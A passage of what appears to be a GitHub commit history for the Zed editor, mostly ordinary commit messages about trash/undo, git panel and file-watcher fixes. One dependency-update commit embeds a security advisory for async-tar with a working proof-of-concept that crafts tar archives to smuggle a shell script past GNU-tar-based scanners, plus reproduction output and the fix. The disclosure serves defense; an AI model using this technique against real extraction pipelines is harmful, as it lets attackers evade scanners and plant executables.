`collab/tests/integration/git_tests.rs`, modeled after `test_remote_git_head_sha`) along with the supporting changes to `FakeGitRepositoryState` (adding a `commit_template` field + `set_commit_template_for_repo` setter on `FakeFs`, since the fake hardcoded `load_commit_template` to `None`). The test compiled and the smaller crates (`fs`, `proto`, `project`) checked clean, but `cargo test -p collab --test collab_tests` cold-compile takes a very long time on my machine and I wasn't able to confirm the test actually passed locally. Rather than push a test I hadn't seen pass, I removed it. Happy to add it back in a follow-up PR (or in this one if reviewers prefer) once I can run the collab suite end-to-end — the diff is small and I can share it on request. Verification was done end-to-end manually using a Docker dev container as the SSH remote: #### Closes #55265 Video : [Screencast from 2026-05-02 18-09-03.webm](https://github.com/user-attachments/assets/9cb7f375-57fa-4af3-bde4-871c28f61efc) Release Notes: - Added support for loading git commit template messages in both remote and collab projects. --------- Co-authored-by: dino <dinojoaocosta@gmail.com> |
||
|
|
88447e9b9c
|
Fix the macOS tests that hang locally (#61407)
See also https://github.com/zed-industries/notify/pull/9 <img width="2088" height="266" alt="image" src="https://github.com/user-attachments/assets/f4bc0b5c-76a9-424a-9abc-abde6e56b9db" /> Release Notes: - N/A |
||
|
|
54fdf58d3a
|
git_panel: Show staged and unstaged diff stats (#60815)
# Objective - Show accurate diff stats for each staged and unstaged projection of a partially staged file in the Git panel. - This was originally considered for https://github.com/zed-industries/zed/pull/59884, but was scoped out of that already-large PR and is being submitted separately as discussed there. ## Solution - Collect HEAD-to-index and index-to-worktree diff stats alongside the existing combined HEAD-to-worktree stats. - Carry the staged and unstaged stats through repository status snapshots and remote status serialization. - Use the stat matching the projected Git panel section while preserving the combined stat for the other grouping modes. - Update the fake Git repository and add regression coverage with deliberately different staged and unstaged counts. ## Testing - `cargo check -p git_ui` - `cargo check -p collab` - `cargo test -p git_ui test_group_by_staging_section_membership_and_order --lib` - `cargo test -p project --lib --no-run` - `cargo fmt --all -- --check` - `git diff --check` ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed diff stats for partially staged files in the Git panel |
||
|
|
b562439e93
|
project_panel: Add remote support for undo/redo system (#59709)
# Objective Add remote (SSH) and collaboration support for trashing and restoring files in the project panel, which in turn enables undo/redo of trash operations against remote and collab projects. Relates to #5039. ## Solution - Updated the project panel undo system to carry `TrashId` instead of `TrashedEntry`. - Using `TrashedEntry` could get hairy, as it includes paths, which wouldn't play too nicely when using, for exapmle, macOS as the client and Windows as the host. Using a simple identifier is much easier in this regard and simplifies implementation. - Enabled the Trash action and context-menu entry on remote projects, and removed the command palette filter in `ProjectPanel::new` that was still hiding the action on remote. - As far as I can tell, there isn't a reliable way to detect whether a given remote actually supports the OS trash, so we expose the action everywhere rather than guessing. On a remote without trash support the action will fail when invoked but this is a conscious tradeoff until we find a better way to handle this. - `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on each `Fs` implementation. Trashed files are referenced by an opaque `TrashId` instead of passing a `TrashedEntry` around, which avoids serializing filesystem paths in remote messages. - Split the old `delete_entry(trash: bool)` API into distinct `trash_entry`/`trash_file` (returning a `TrashId`) and `delete_entry`/`delete_file` across `Project`, `Worktree`, `LocalWorktree` and `RemoteWorktree`. - This lets us drop the optional trash result (`Option<TrashedEntry>`) from the delete path and require a `TrashId` from the trash path. - Added new proto messages (`TrashProjectEntry`, `TrashProjectEntryResponse`, `RestoreProjectEntry`, `RestoreProjectEntryResponse`) to let clients request the host to trash or restore entries. - This deprecates `DeleteProjectEntry::use_trash`, but the host still honors it. An older collab peer may request trashing via that flag instead of the newer `TrashProjectEntry`. If the host ignored it, a newer host would permanently delete a file the user meant to send to the trash. The field will be removed in a later PR once all supported peers use `TrashProjectEntry`. ## Testing The following tests were introduced to ensure the new behavior is correctly tested: * `remote_server::remote_editing_tests::test_remote_trash_restore` – Tests trashing a project entry in remote * `remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash` – Test to ensure we continue respecting `DeleteProjectEntry::use_trash` until it is fully removed * `project_panel::tests::undo::trash_directory_undo_redo` – Not related to these changes but a nice to have as we were missing a test ensuring that trashing and then undoing and redoing it for a directory works as expected Besides these, the following scenarios were manually tested against a remote session on the same machine (macOS): - Trashing → Undo (Restore) → Redo (Trashing) - Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing) - Rename → Undo (Rename) → Redo (Rename) - Move → Undo (Move) → Redo (Move) - Batch Move → Undo (Batch Move) → Redo (Batch Move) ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - N/A --------- Co-authored-by: Yara <git@yara.blue> |
||
|
|
f181a2f47b
|
Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as well as better sharing for our projects. This also includes the WIP AbsPath abstraction as well as some bug fixes from internal tooling. Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
a1230fc584
|
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [async-tar](https://redirect.github.com/dignifiedquire/async-tar) | workspace.dependencies | minor | `0.5.1` → `0.6.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/15138) for more information. --- ### async-tar PAX extension-header desync enables tar entry/content smuggling [CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) / [GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) <details> <summary>More information</summary> #### Details ##### Summary `async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g` header) instead of to the next *file* entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary `L` — the stream cursor is advanced by an attacker-chosen amount when the `L` body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. An attacker who can influence a tar stream that an `async-tar` consumer extracts can construct an `x → L → file` sequence whose entry list and on-disk result differ between `async-tar` and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by `async-tar` as a different file with different bytes (e.g. an executable script), and vice versa. Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage. ##### Affected code Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and current `main` HEAD. Both lack the extension-header guard. `src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag, commit `45814b19295b7398e119c90c57d8c8bf70a798b6`): ```rust let file_pos = *next; let mut header = current_header.take().unwrap(); // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard let pax = pax_extensions(pax_extensions_data); for extension in pax { let extension = extension.map_err(|_e| other("pax extensions invalid"))?; let Some(key) = extension.key().ok() else { continue }; match key { "size" => { let size_str = extension.value() .map_err(|_e| other("failed to parse pax size as string"))?; size = size_str.parse::<u64>() .map_err(|_e| other("failed to parse pax size"))?; } "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); } "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); } _ => { continue } } } } let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size ``` and a few lines further down the same function: ```rust // Store where the next entry is, rounding up by 512 bytes. let size = (size + 511) & !(512 - 1); *next += size; // cursor advance = mis-applied PAX size ``` The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local extension into `current_pax_extensions` and then calls `poll_next_raw` with `current_pax_extensions.as_deref()` for the *next* raw header. When that next raw header is an intermediary GNU longname (handled by the `is_gnu_longname()` branch a few lines later), the PAX `size` is applied to it, so `*next` advances by the spoofed size rather than the `L` header's own declared size. That is the desync. The buffered PAX records are intended to apply only to the following *file* entry; the missing check is whether the raw header currently being sized is itself an extension header (`L`/`K`/`x`/`g`). ##### Impact Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with `async-tar` (e.g. a server endpoint that unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will: - materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and - omit or alter files that the reference parser does surface. This breaks any security control that relies on scanning the archive with one parser and extracting with `async-tar`: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while `async-tar` writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts. ##### How input reaches the sink (reachability) The vulnerable path is the library's primary public API for reading archives: `Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next` drives `poll_next_raw` for every header. Any consumer that iterates entries (or calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The `reader` need not be a file — it is any `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (`x`) carrying a `size` record immediately followed by an intermediary GNU longname (`L`) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz` bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines. ##### Proof of concept A standalone Rust consumer binary that links the published crates.io `async-tar = "=0.6.0"` (`default-features = false, features = ["runtime-tokio"]`) and runs the real `Archive::new(...).entries()` extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list `async-tar` surfaces. A second binary hand-crafts the malicious and benign tar byte streams. Malicious archive geometry (block = 512 bytes): ``` B0 x PAX local-extension header, records declare size=1024 (= 2 blocks) B1 PAX records ("<len> size=1024\n") B2 L GNU longname header, OWN declared size = 512 (= 1 block) B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses) B4 a normal file header "placeholder_A" (size 512) B5 <-- this block IS a valid tar header for the smuggled file "hidden_payload.sh" (size 65) B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n" B7,B8 two zero blocks (EOF) ``` GNU tar honours the `L` header's own declared size (1 block) for the longname and ignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX `size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh` body (B6). Tar-builder source (`mktar.rs`): ```rust use std::io::Write; const BLOCK: usize = 512; fn octal(buf: &mut [u8], v: u64) { let s = format!("{:0width$o}", v, width = buf.len() - 1); let b = s.as_bytes(); buf[..b.len()].copy_from_slice(b); buf[b.len()] = 0; } fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] { let mut h = [0u8; BLOCK]; let n = name.len().min(100); h[..n].copy_from_slice(&name[..n]); octal(&mut h[100..108], 0o644); octal(&mut h[108..116], 0); octal(&mut h[116..124], 0); octal(&mut h[124..136], size); octal(&mut h[136..148], 0); h[156] = typeflag; if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); } else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); } for b in &mut h[148..156] { *b = b' '; } let sum: u32 = h.iter().map(|b| *b as u32).sum(); h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes()); h } fn pad(out: &mut Vec<u8>, len: usize) { let rem = len % BLOCK; if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); } } fn pax_record(key: &str, val: &str) -> Vec<u8> { let mut len = key.len() + val.len() + 3; loop { let s = format!("{} {}={}\n", len, key, val); if s.len() == len { return s.into_bytes(); } len = s.len(); } } fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b } fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); } fn build_malicious() -> Vec<u8> { let mut out = Vec::new(); let gnu_name = b"GNU_SEES_THIS.txt"; let spoof = (BLOCK * 2) as u64; let mut recs = Vec::new(); recs.extend(pax_record("size", &spoof.to_string())); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L')); out.extend_from_slice(&name_block(gnu_name)); // B3 out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4 let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec(); out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5 write_block(&mut out, &smuggled_body); // B6 out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn build_benign() -> Vec<u8> { let mut out = Vec::new(); let mut recs = Vec::new(); recs.extend(pax_record("path", "normal_file.txt")); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); let body = b"plain benign content\n".to_vec(); out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0')); write_block(&mut out, &body); let body2 = b"second benign file\n".to_vec(); out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0')); write_block(&mut out, &body2); out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn main() { let a: Vec<String> = std::env::args().collect(); let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) }; std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap(); } ``` Consumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop): ```rust use async_tar::Archive; use tokio::fs; use tokio::io::AsyncReadExt; use tokio_stream::StreamExt; #[tokio::main(flavor = "multi_thread", worker_threads = 2)] async fn main() { let args: Vec<String> = std::env::args().collect(); let dest = std::path::PathBuf::from(&args[2]); fs::create_dir_all(&dest).await.unwrap(); let bytes = fs::read(&args[1]).await.unwrap(); let archive = Archive::new(std::io::Cursor::new(bytes)); let mut entries = archive.entries().expect("entries()"); let mut idx = 0usize; while let Some(entry) = entries.next().await { let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } }; let path_raw = file.path().expect("path").into_owned(); let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string(); let hdr_size = file.header().size().unwrap_or(0); let mut out = dest.clone(); for comp in std::path::PathBuf::from(&path_disp).components() { if let std::path::Component::Normal(p) = comp { out.push(p); } } let mut body = Vec::new(); let read = file.read_to_end(&mut body).await.unwrap_or(0); if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; } let _ = fs::write(&out, &body).await; let preview: String = body.iter().take(48) .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect(); println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp); idx += 1; } println!("[async-tar] total entries surfaced: {idx}"); } ``` `Cargo.toml`: ```toml [dependencies] async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] } tokio-stream = "0.1" futures = "0.3" ``` ##### End-to-end reproduction Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output: ``` $ cargo build --release # links async-tar v0.6.0 from crates.io Compiling async-tar v0.6.0 Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) in 10.12s $ ./target/release/mktar malicious mal.tar wrote 4608 bytes to mal.tar ##### ---- (A) GNU tar reference: list + extract ---- $ gtar tvf mal.tar ; echo "rc=$?" -rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt rc=0 $ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?" rc=0 $ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt hidden_payload.sh ##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header ##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.) ##### ---- (B) async-tar v0.6.0 consumer: extract ---- $ ./target/release/extract mal.tar /tmp/at_mal [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t" [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt #!/bin/sh ##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner ``` Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; `async-tar` writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled `#!/bin/sh` body is content a GNU-tar-based scanner would never inspect. Negative control — a benign archive (correct PAX usage: `x` applies `path` to the following file, no intermediary `L`): ``` $ ./target/release/mktar benign ben.tar $ gtar tvf ben.tar ; echo "rc=$?" -rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt -rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt rc=0 $ ./target/release/extract ben.tar /tmp/at_ben [async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content." [async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file." [async-tar] total entries surfaced: 2 ``` GNU tar and `async-tar` produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the `x → L → file` desync sequence. ##### Fix Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class. ```rust // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // PAX extensions describe the NEXT file entry, not an intermediary // extension header. Applying a buffered PAX `size` to such an intermediary // header (L/K/x/g) advances the stream cursor by the wrong amount and // desyncs the parse. let entry_type = header.entry_type(); let is_extension_header = entry_type.is_gnu_longname() || entry_type.is_gnu_longlink() || entry_type.is_pax_local_extensions() || entry_type.is_pax_global_extensions(); // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) { let pax = pax_extensions(pax_extensions_data); for extension in pax { // unchanged: same size/uid/gid override loop as before } } ``` Fix-verify, captured verbatim. The patched `async-tar` (guard added) re-run against the same `mal.tar`: ``` $ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" } Compiling async-tar v0.6.0 (.../async-tar-patched) Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) $ ./target/release/extract mal.tar /tmp/at_fix [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................." [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt hidden_payload.sh ``` With the guard, `async-tar`'s view converges with GNU tar's: it surfaces `GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated. ##### Fix PR A fix PR adding the `is_extension_header` guard to `poll_next_raw` in `src/archive.rs` is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the **Fix** section above (no behavioural change for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop inheriting a following PAX `size`). ##### Credit Reported by tonghuaroot. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m) - [https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>dignifiedquire/async-tar (async-tar)</summary> ### [`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) ### [`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0): - Tokio Support [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
d8ecc302c6
|
fs: Update trash crate version (#60899)
# Objective Fix errors in Windows when trashing files from the Git Panel. Closes #60716. ## Solution The solution and discussion is available at https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix was fully done on the `trash` crate. Original discussion of this issue can be found at https://github.com/zed-industries/zed/pull/59595 . ## Testing Testing was performed manually on a Windows machine by updating Zed's `fs` crate dependencies to point at the updated code and then building from source and testing out the same exact path, namely: 1. Create a new untracked file 2. Trash the file from the Git Panel's context menu 3. Confirm that, after confirming that you wish to trash the file, the file is trash and no error is shown Since this whole trash-tracking logic was implemented in the context of the project panel's undo system, I also confirmed that the changes in the crate's code didn't affect trashing and restoring on Windows. ## Self-Review Checklist: N/A ## Showcase <details> <summary>Before</summary> https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518 </details> <details> <summary>After</summary> https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02 </details> --- Release Notes: - Fixed issue when trashing untracked files in Git Panel on Windows |
||
|
|
60314a7416
|
Open non-writeable files in Capability::Read mode (#57202)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #57174 Release Notes: - Open non-writeable files in Capability::Read mode Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
35ffa8f480
|
git_ui: Fix history tab empty and detached HEAD states (#57959)
This PR fixes a few History tab edge cases in the Git Panel. For a fresh repo with no commits, the History tab now finishes loading and shows No commits yet instead of sitting on Loading… indefinitely or falling into a misleading empty/error state. It also fixes detached HEAD history loading. In that case, the Git Panel asks the backend to load history from the current commit SHA. The local git backend was accidentally treating the raw object ID bytes as a string instead of formatting them as a normal hex SHA, so git log could fail before returning any commits. The backend now passes the SHA in the format git expects. **Repro for empty repo:** mkdir /tmp/zed-empty-history cd /tmp/zed-empty-history git init zed . Open Git Panel → History. Before: History could stay stuck on Loading…. After: History shows No commits yet. **Repro for detached HEAD:** mkdir /tmp/zed-detached-history cd /tmp/zed-detached-history git init echo hi > file git add file git commit -m initial git checkout --detach HEAD zed . Open Git Panel → History. Before: History could fail to load commits. After: History shows the commit history normally. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed Git history tab states for empty repositories and detached HEAD history. Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com> |
||
|
|
e2d41c477c
|
fs: Retry watch registrations skipped during the native watch-limit cooldown (#60662)
GlobalWatcher::add returns Ok(None) while the native watch-limit cooldown is active, and FsWatcher::add_existing_path treated that as success: the path was never watched, with no retry and no error. A long-lived watch (like a repository's git directory) that happened to register during a cooldown window silently never received events. Route the skipped registration through the existing pending-path machinery, which already polls until registration succeeds and emits a rescan event for the path so that changes missed in the interim are picked up. --- Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
5a7d414a23
|
fs: Skip parent watch for poll watcher symlink targets (#57049)
# Problem Since the release of the new git UI, when `~/.gitconfig` on a remote server is a symlink pointing to a file on a virtual filesystem (a common setup when using [OrbStack](https://orbstack.dev/) on macOS), Zed fails to connect with "Timed out pinging remote client". # Cause When setting up a file watcher for gitconfig, `fs::watch()` reads the symlink target and adds its parent directory to the poll watcher. `notify::PollWatcher::watch()` does a full synchronous recursive directory scan at registration time to build an initial snapshot. If the parent is something like a Mac home directory mounted via virtiofs, that scan blocks the server's main thread long enough that it can't respond to the initial ping within the 5 second timeout. # Solution The fix I implemented for this was to skip the parent directory watch when using a poll watcher. As far as I can tell, it's redundant in the poll case since the poll watcher detects changes by periodically reading metadata at the registered path, so watching the parent doesn't add anything for change detection. From my limited testing this seems to work fine but if someone with more experience in this part of the codebase would like to weigh in, that would be very much appreciated. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - Fixed remote SSH connections timing out when `~/.gitconfig` is a symlink to a file on a virtual filesystem |
||
|
|
bc29bcfe72
|
git: Load buffer git diff bases with a single batched git process (#59357)
# Objective
Whenever the git repository state is updated on disk (e.g., via staging,
committing, branch switching, or stashing), `reload_buffer_diff_bases`
is scheduled to reload the diff for all active buffers. This causes 2
git processes to be spawned for each open file which can become
noticeable when many files are open
|
||
|
|
31fc9d5f47
|
project_panel: Continue batch delete when individual entries fail (#59595)
## Summary On Windows, `trash::delete_with_info` can return an error even when the file was successfully moved to the Recycle Bin. This is caused by a race condition in the `trash` crate: after `IFileOperation::PerformOperations` completes, it re-binds the trashed item via `SHCreateItemFromParsingName` to read its metadata, but the shell's virtual namespace cache may not yet reflect the new item, producing an error. Previously, the delete loop propagated this error and aborted the entire batch. The outer `detach_and_log_err` swallowed the error, so the user received no feedback. This PR handles each entry independently: entries that fail to delete are skipped, the loop continues, and undo history is recorded for the entries that succeeded. The upstream root cause (the post-operation re-bind race in `zed-industries/trash-rs`) will be addressed separately. Before: https://github.com/user-attachments/assets/59a95ac5-098b-42dc-bffb-f3240c6b966d After: https://github.com/user-attachments/assets/0cd6c0b3-2ee3-4bf2-a243-3e8a83d05dd7 ## Test plan - [ ] Select multiple files in the project panel on Windows - [ ] Trash them (right-click > Move to Trash, or `Delete` key) - [ ] Confirm all selected files are deleted, even if one triggers the trash-crate race - [ ] Undo restores the files that were successfully trashed Release Notes: - Improved handling of failed trash or delete operations in the Project Panel in order to display a toast informing the user that some files could not be trashed or deleted --------- Co-authored-by: dino <dinojoaocosta@gmail.com> |
||
|
|
442a3476bc
|
Fix crash when trashing all untracked files (#60235)
# Objective
Fixes a crash when trashing a large number of untracked files from the
Git Panel, caused by unbounded OS thread spawning (thread explosion).
## Solution
`GitPanel::clean_all()` builds one deletion task per untracked file and
then awaits them one by one. Since GPUI tasks start executing as soon as
they are spawned, not when they are awaited, all deletions run
concurrently. Each of them called `RealFs::trash`, which spawned a
dedicated OS thread per call, so a large enough batch exceeded the OS
per-process thread limit and panicked at the `.expect("The os can spawn
threads")` in `RealFs::trash`.
This PR replaces the dedicated thread with `smol::unblock`, which runs
the blocking `trash::delete_with_info` call on a shared thread pool that
is capped and queues additional work instead of spawning more. This is
the same idiom already used elsewhere in the file (e.g. `atomic_write`)
for blocking filesystem work.
## Testing
- Did you test these changes? If so, how?
yes, reproduced using steps in the issue before and after and confirmed
fix works.
https://github.com/user-attachments/assets/d3bcd049-485a-486f-877a-0e5c21b7917c
Reproduction steps here:
https://github.com/zed-industries/zed/issues/60216
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
